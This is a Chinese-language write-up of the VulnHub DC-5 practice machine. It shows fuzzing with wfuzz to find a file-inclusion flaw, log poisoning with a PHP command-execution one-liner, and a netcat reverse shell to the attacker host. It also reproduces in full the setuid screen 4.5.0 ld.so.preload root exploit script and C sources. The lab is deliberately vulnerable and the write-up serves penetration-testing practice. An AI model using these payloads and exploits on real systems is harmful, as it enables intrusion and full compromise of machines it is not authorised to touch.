­

VulnHub通关日记-DC_5-Walkthrough

靶机介绍

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).

靶机地址:https://www.vulnhub.com/entry/dc-5,314/

学习到的知识

LFI(本地文件包含)日志获取shell wfuzz工具的使用 screen提权root

信息搜集

拿到 IP 先扫描端口开放服务:

nmap -A -T 4 192.168.1.144

图片

它这边只开放了 80(http)和 111(RPC)两个端口服务!

RPC 他是一个RPC服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号的。简单理解rpc就是一个中介服务。

我们先来到 WEB 端,但是没有什么可利用点,只有一个表单提交的地方:

http://192.168.1.144/contact.php

图片

我随便提交了一些内容,发现了它会被提交到 thankyou.php 这个文件:

图片

LFI本地文件包含获取shell

看上去有点像 LFI(本地文件包含)漏洞,紧接着我用 KALI 自带的 wfuz 工具对它一顿FUZZ梭哈:

wfuzz -w /usr/share/wfuzz/wordlist/general/test.txt -w /usr/share/wfuzz/wordlist/LFI/LFI-InterestingFiles.txt http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z

图片

由于FUZZ出来的参数太多了!而且好多都没有,我两眼一迷的仔细找到了一个参数:

http://192.168.1.144/thankyou.php?file=/etc/mysql/my.cnf

图片

打开后我发现它可以读取系统文件:

图片

这个时候确定了它存在本地文件包含!那么我继续用 wfuzz 缩小我们得到的参数范围:

wfuzz -w /usr/share/wfuzz/wordlist/general/test.txt -w /usr/share/wfuzz/wordlist/LFI/LFI-InterestingFiles.txt --hh 851,835 http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z  --h 是过滤Chars

图片

这样我们就成功的得到一些可利用的参数:

arget: http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z  Total requests: 2568    ===================================================================  ID           Response   Lines    Word     Chars       Payload  ===================================================================    000001714:   200        44 L     68 W     861 Ch      "file - /etc/issue"  000001715:   200        49 L     103 W    1121 Ch     "file - /etc/motd"  000001716:   200        70 L     104 W    2319 Ch     "file - /etc/passwd"  000001717:   200        70 L     104 W    2319 Ch     "file - /etc/passwd"  000001719:   200        96 L     117 W    1558 Ch     "file - /etc/group"  000001833:   500        38 L     58 W     786 Ch      "file - /etc/php5/apache2/php.ini"  000001844:   500        38 L     58 W     786 Ch      "file - /etc/php5/cgi/php.ini"  000001872:   200        170 L    590 W    4368 Ch     "file - /etc/mysql/my.cnf"  000001926:   200        65662    871324   9389548 C   "file - /var/log/nginx/access.log"        

图片

随后我发现了它的一个日志文件里有我们的请求记录:

http://192.168.1.144/thankyou.php?file=/var/log/nginx/access.log

图片

既然日志能记录我们的操作,那么我们就写入一句话到日志文件里吧:

http://192.168.1.144/thankyou.php?file=<?php system($_GET['saul']) ?>

图片

(温馨提示:到这里我靶机重启了一下,所以 IP 变了)

接下来然后用日志文件去执行命令 ls

http://192.168.1.144/thankyou.php?file=/var/log/nginx/error.log&saul=ls

图片

成功执行命令!那么我就用 nc 反弹一个shell回来吧!先是 KALI nc 监听 5555 端口,然后访问得到一枚 shell

http://192.168.1.144/thankyou.php?file=/var/log/nginx/error.log&saul=nc -e /bin/bash 192.168.1.128 5555

图片

得到 shell 以后我用 python 切换到 bash

python -c 'import pty;pty.spawn("/bin/bash")'

图片

权限提升

之后我查找 SUID 权限的文件发现了 screen

find / -perm /4000 2>/dev/null

图片

紧接着我又去搜索了一下关于 screen 的漏洞,找到了一个提权 poc

#!/bin/bash  # screenroot.sh  # setuid screen v4.5.0 local root exploit  # abuses ld.so.preload overwriting to get root.  # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html  # HACK THE PLANET  # ~ infodox (25/1/2017)  echo "~ gnu/screenroot ~"  echo "[+] First, we create our shell and library..."  cat << EOF > /tmp/libhax.c  #include <stdio.h>  #include <sys/types.h>  #include <unistd.h>  __attribute__ ((__constructor__))  void dropshell(void){      chown("/tmp/rootshell", 0, 0);      chmod("/tmp/rootshell", 04755);      unlink("/etc/ld.so.preload");      printf("[+] done!n");  }  EOF  gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c  rm -f /tmp/libhax.c  cat << EOF > /tmp/rootshell.c  #include <stdio.h>  int main(void){      setuid(0);      setgid(0);      seteuid(0);      setegid(0);      execvp("/bin/sh", NULL, NULL);  }  EOF  gcc -o /tmp/rootshell /tmp/rootshell.c  rm -f /tmp/rootshell.c  echo "[+] Now we create our /etc/ld.so.preload file..."  cd /etc  umask 000 # because  screen -D -m -L ld.so.preload echo -ne  "x0a/tmp/libhax.so" # newline needed  echo "[+] Triggering..."  screen -ls # screen itself is setuid, so...  /tmp/rootshell

图片

接着我按照上面的 POC 创建了 libhax.crootshell.c 文件,文件内容是:

root@kali:~# cat libhax.c  #include <stdio.h>  #include <sys/types.h>  #include <unistd.h>  __attribute__ ((__constructor__))  void dropshell(void){      chown("/tmp/rootshell", 0, 0);      chmod("/tmp/rootshell", 04755);      unlink("/etc/ld.so.preload");      printf("[+] done!n");  }      root@kali:~# cat rootshell.c  #include <stdio.h>  int main(void){      setuid(0);      setgid(0);      seteuid(0);      setegid(0);      execvp("/bin/sh", NULL, NULL);  }  

图片

随后用 gcc 编译他们:

gcc -fPIC -shared -ldl -o libhax.so libhax.c  gcc -o rootshell rootshell.c

图片

编译完后我用 nc 把刚刚编译好的文件传到目标服务器上:

KALI:  nc -nlvp 7777 < libhax.so  nc -nlvp 7777 < rootshell    靶机:  nc 192.168.1.128 7777 > libhax.so  nc 192.168.1.128 7777 > rootshell

图片

图片

最后按照 POC 上面的步骤依次输入命令提权为 root

cd /etc

图片

umask 000 

图片

screen -D -m -L ld.so.preload echo -ne  "x0a/tmp/libhax.so"

图片

screen -ls

图片

/tmp/rootshell

图片

最终也是在 /root 目录下拿到了 Flag